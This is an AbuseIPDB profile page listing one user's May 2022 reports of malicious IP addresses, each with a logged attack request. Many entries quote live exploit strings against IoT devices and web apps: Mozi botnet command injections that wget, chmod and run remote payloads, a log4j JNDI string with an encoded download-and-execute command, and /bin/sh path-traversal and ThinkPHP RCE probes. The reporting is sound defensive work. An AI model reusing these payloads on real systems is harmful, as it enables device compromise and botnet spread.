AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Jax joined AbuseIPDB in March 2022 and has reported 120 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 92.118.230.134	26 May 2022	Reverse shell host initiated from 103.217.122.75	Hacking
🇮🇳 103.217.122.75	26 May 2022	Attempted DVR exploit. POST /editBlackAndWhiteList HTTP/1.1	Web App Attack IoT Targeted
🇬🇧 178.79.148.229	24 May 2022	GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1	Web App Attack
🇰🇷 49.143.32.6	24 May 2022	Attempted netgear exploit. GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wge ... show more Attempted netgear exploit. GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1 show less	Web App Attack IoT Targeted
🇨🇳 119.162.75.147	24 May 2022	Shenzhen TVT DVR/NVR/IPC WebUI RCE ADD Attempt POST /editBlackAndWhiteList HTTP/1.1	Web App Attack IoT Targeted
🇮🇳 223.130.30.152	23 May 2022	/shell?cd+/tmp;rm+-rf+*;wget+http://223.130.30.152:34333/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	Web App Attack
🇷🇺 193.106.191.48	23 May 2022	attempted bash shell POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1	Web App Attack
🇳🇱 185.162.130.49	23 May 2022	/pma/scripts/setup.php /myadmin/scripts/setup.php /w00tw00t.at.blackhats.romanian.anti-sec:)	Web App Attack
🇬🇧 134.209.17.71	23 May 2022	attempts multiple webexploits: /muieblackcat //phpMyAdmin/scripts/setup.php //pma/scripts/setup.p ... show more attempts multiple webexploits: /muieblackcat //phpMyAdmin/scripts/setup.php //pma/scripts/setup.php show less	Web App Attack
🇩🇪 80.255.7.102	23 May 2022	attempts cold fusion exploit.	Web App Attack
🇩🇪 84.57.126.216	23 May 2022	attempted cold fusion vulnerability	Web App Attack
🇳🇱 20.101.109.35	22 May 2022	Used for hosting malicious payloads wget hxxp://20.101.109[.]35/abc && chmod 777 abc && ./abc && ... show more Used for hosting malicious payloads wget hxxp://20.101.109[.]35/abc && chmod 777 abc && ./abc && rm abc show less	Hacking
🇳🇱 104.40.241.213	22 May 2022	log4j attempt User-Agent: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//104.40 ... show more log4j attempt User-Agent: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//104.40.241.213:443/Basic/Command/Base64/d2dldCBodHRwOi8vMjAuMTAxLjEwOS4zNS9hYmMgJiYgY2htb2QgNzc3IGFiYyAmJiAuL2FiYyAmJiBybSBhYmM=}') show less	Web App Attack
🇷🇺 193.106.191.48	22 May 2022	Shell command execution attempt POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1	Web App Attack
🇨🇳 58.249.10.84	20 May 2022	Attempted bashdoor GET /shell?cd+/tmp;rm+-rf+;wget+http://58.249.10.84:57006/Mozi.a;chmod+777+Mozi ... show more Attempted bashdoor GET /shell?cd+/tmp;rm+-rf+;wget+http://58.249.10.84:57006/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 show less	Web App Attack
🇰🇷 114.199.132.222	19 May 2022	attempted Netgear DGN Remote Code Execution GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more attempted Netgear DGN Remote Code Execution GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://120.50.68.135:3723/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1 show less	Web App Attack
🇭🇰 43.129.195.149	19 May 2022	GET /shell?cd+/tmp;rm+-rf+*;wget+v1.kannimanelaji.com/jaws;sh+/tmp/jaws HTTP/1.1	Web App Attack
🇷🇺 193.106.191.48	19 May 2022	Attempted bashshell POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1	Web App Attack
🇷🇺 193.106.191.48	19 May 2022	Attempted bashshell POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1	Web App Attack
🇩🇪 144.91.83.245	18 May 2022	Attempoted D-Link exploit	Web App Attack IoT Targeted
🇨🇳 223.149.231.153	18 May 2022	attempted bashdoor. GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi. ... show more attempted bashdoor. GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 show less	Web App Attack
🇭🇰 202.178.123.123	18 May 2022	Attempted Netgear RCE GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http: ... show more Attempted Netgear RCE GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://202.178.123.123:60810/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1 show less	IoT Targeted
🇷🇺 193.106.191.48	18 May 2022	PHP remote code execution. GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_f ... show more PHP remote code execution. GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1 show less	Web App Attack
🇮🇳 61.3.189.253	18 May 2022	attempted bashdoor. GET /shell?cd+/tmp;rm+-rf+;wget+http://61.3.189.253:42676/Mozi.a;chmod+777+Moz ... show more attempted bashdoor. GET /shell?cd+/tmp;rm+-rf+;wget+http://61.3.189.253:42676/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 User-Agent: Hello, world show less	Web App Attack
🇵🇱 195.3.221.30	18 May 2022	Attempted log4j attempt	Fraud VoIP Hacking